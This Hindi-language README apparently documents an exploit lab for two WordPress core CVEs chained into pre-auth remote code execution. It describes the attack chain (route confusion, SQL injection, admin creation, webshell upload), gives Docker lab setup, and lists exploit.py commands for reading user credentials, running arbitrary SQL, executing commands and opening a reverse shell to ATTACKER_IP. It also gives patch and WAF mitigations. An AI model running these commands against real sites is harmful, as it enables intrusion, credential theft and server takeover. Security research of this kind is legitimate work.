CVE-2026-63030 & CVE-2026-60137 — wp2shell

WordPress Core Pre-Auth RCE — Route Confusion + SQL Injection chained to Remote Code Execution

अवलोकन

wp2shell उस शोषण श्रृंखला का नाम है जो WordPress Core में 2 कमजोरियों को जोड़ती है:

• CVE-2026-63030 — Route Confusion: बैच एंडपॉइंट (/wp-json/batch/v1) में जब sub-request का पथ गलत होता है तो $matches[] और $validation[] एरे के बीच इंडेक्स में बेमेल हो जाता है, जिससे अगला sub-request गलत हैंडलर के तहत चलता है → REST API स्कीमा वैलिडेशन को बायपास करता है।
• CVE-2026-60137 — SQL Injection: WP_Query::get_posts() जब author__not_in पैरामीटर array के बजाय string के रूप में प्राप्त करता है तो उसे sanitize नहीं करता → रॉ SQL इंजेक्शन।

दोनों बग मिलकर एक पूर्ण Pre-Auth RCE श्रृंखला बनाते हैं — बिना किसी क्रेडेंशियल के केवल HTTP अनुरोध के माध्यम से सर्वर पर शेल प्राप्त करना।

शोषण श्रृंखला

Route Confusion (REST वैलिडेशन को बायपास)
    → SQL Injection (DB पढ़ें: उपयोगकर्ता, गुप्त कुंजियाँ)
        → oEmbed कैश पॉइज़निंग (read-only SQLi → write primitive)
            → customize_changeset (नया व्यवस्थापक बनाएं)
                → प्लगइन अपलोड (webshell)
                    → रिमोट कोड निष्पादन

पूर्ण तकनीकी विश्लेषण REPORT.md में पढ़ें।

लैब सेटअप

लैब 3 कंटेनरों के साथ Docker Compose का उपयोग करता है:

आवश्यकताएँ

• Docker + Docker Compose
• Python 3.8+ (केवल stdlib, कोई अतिरिक्त पैकेज स्थापित करने की आवश्यकता नहीं)
• Bash (setup.sh चलाने के लिए)

प्रारंभ

cd wp2shell-lab
bash setup.sh

स्क्रिप्ट स्वचालित रूप से:

1. इमेज खींचती है और कंटेनर शुरू करती है
2. WordPress 6.9.4 स्थापित करती है
3. नमूना डेटा (पोस्ट, उपयोगकर्ता) सीड करती है
4. MySQL जनरल लॉग + WP_DEBUG सक्षम करती है

समाप्त होने पर "WP2Shell Lab — READY!" लॉगिन जानकारी के साथ प्रदर्शित होगा।

सफाई

cd wp2shell-lab
docker compose down -v

शोषण का उपयोग

# कमजोरी की जाँच करें
python3 exploit.py check http://TARGET:8080

# जाँच करें + SQLi की पुष्टि करें
python3 exploit.py check --confirm-sqli http://TARGET:8080

# डेटाबेस से उपयोगकर्ता क्रेडेंशियल पढ़ें
python3 exploit.py read --preset users http://TARGET:8080

# इच्छानुसार SQL क्वेरी चलाएँ
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080

# पूर्ण RCE — कमांड चलाएँ
python3 exploit.py shell --cmd "id" http://TARGET:8080

# रिवर्स शेल
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080

PoC स्क्रिप्ट शुरू से लिखी गई है, Icex0/wp2shell-poc से संदर्भित। केवल Python 3 stdlib का उपयोग करता है, किसी अतिरिक्त निर्भरता की आवश्यकता नहीं है।

शोषण की शर्तें

निवारण

1. WordPress को अपग्रेड करें >= 6.9.5 या >= 7.0.2 — एकमात्र पूर्ण समाधान।
2. बैच एंडपॉइंट को अस्थायी रूप से अक्षम करें: functions.php में add_filter('rest_batch_disabled', '__return_true'); जोड़ें।
3. WAF नियम: SQL कीवर्ड वाले /wp-json/batch/v1 अनुरोधों को ब्लॉक करें।

अस्वीकरण

यह रिपॉजिटरी अनुसंधान, शिक्षा और CTF के उद्देश्य से नियंत्रित लैब वातावरण में बनाई गई है। वास्तविक प्रणालियों पर हमला करने के लिए उपयोग न करें। कोई भी अनधिकृत शोषण कानून का उल्लंघन है।

संदर्भ

• Icex0/wp2shell-poc — मूल PoC संदर्भ
• WordPress 6.9.4 — class-wp-rest-server.php
• WordPress 6.9.4 — class-wp-query.php
• पैच diff 6.9.4 -> 6.9.5